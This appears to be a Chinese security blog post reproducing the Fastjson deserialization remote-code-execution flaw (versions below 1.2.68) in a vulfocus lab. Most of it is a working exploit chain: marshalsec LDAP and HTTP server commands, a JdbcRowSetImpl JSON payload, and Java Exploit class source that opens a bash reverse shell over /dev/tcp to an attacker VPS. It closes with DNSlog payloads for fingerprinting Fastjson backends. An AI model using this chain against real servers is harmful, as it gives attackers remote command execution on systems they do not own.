0x00 简介
fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
0x02影响范围
Fastjson < 1.2.68
Fastjson爆出的绕过方法可以通杀1.2.68版本以下所有
0x03漏洞复现
参考链接:
https://www.cnblogs.com/renhaoblog/p/13033723.html
原理是:就是要理解rmi/ldap 是什么。简单来说就是远程方法调用。
A去调用主机c的rmi里的恶意java程序。 构造的恶意java程序可以是写文件、反弹shell等。构造什么就执行什么。(docker部署环境很多包都没装,所以反弹shell比较直观)
所以我们需要 :
主机A 漏洞服务器
主机C rmi/ladp服务器
主机B 恶意java类
(此处B、C是一台服务器的不同端口,最终监听反弹shell也是该服务器,nc监听 3333)
配置如下:
主机A vulfocus fastjson漏洞主机 113.**.3
主机B、C 分别为vps的两个服务。107.*.*.24
主机B 开启ldap服务主机。命令如下:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://107.*.*.24:9090/#Exploit 9999
主机C 开启web服务,可以访问我们编译好的class文件。 开启服务命令,python3 -m http.server 9090(执行此命令目录为存在ExPloit.class文件目录)
0x04工具链接
工具:marshalsec,需要用mvn打包一下,
github:https://github.com/mbechler/marshalsec
链接: https://pan.baidu.com/s/1wfPsOAWKuzh8MVGRT6CSFg 提取码: yk3i 复制这段内容后打开百度网盘手机App,操作更方便哦
burp payload如下:
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://107.*.*.24:9999/Exploit", 此处为ldap 地址非 python web服务地址。
"autoCommit":true
}
nc反弹shell
攻击反弹shell脚本
使用 javac Exploit.java生成 Exploit.class文件。
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/107.*.*.24/3333;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }
0x05判断使用fastjson的方法
未知目标是否使用 Fastjson ,但站点有原始报错回显
如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样
例如
无回显,通过DNS回显的方式盲区分 Fastjson 和 Jackson
我使用以下payload测试
{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}

最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson
1 {"@type":"java.net.Inet4Address","val":"dnslog"} 2 {"@type":"java.net.Inet6Address","val":"dnslog"}
畸形的
1 {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
POC:
要嵌套在里面zeo里面
1{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}} 1 {"@type":"java.net.Inet4Address","val":"dnslog"} 2 {"@type":"java.net.Inet6Address","val":"dnslog"} 3 {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} 4 {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""} 5 {{"@type":"java.net.URL","val":"dnslog"}:"aaa"} 6 Set[{"@type":"java.net.URL","val":"dnslog"}] 7 Set[{"@type":"java.net.URL","val":"dnslog"} 8 {{"@type":"java.net.URL","val":"dnslog"}:0
内容参考链接如下:
https://blog.csdn.net/god_zzZ/article/details/107122487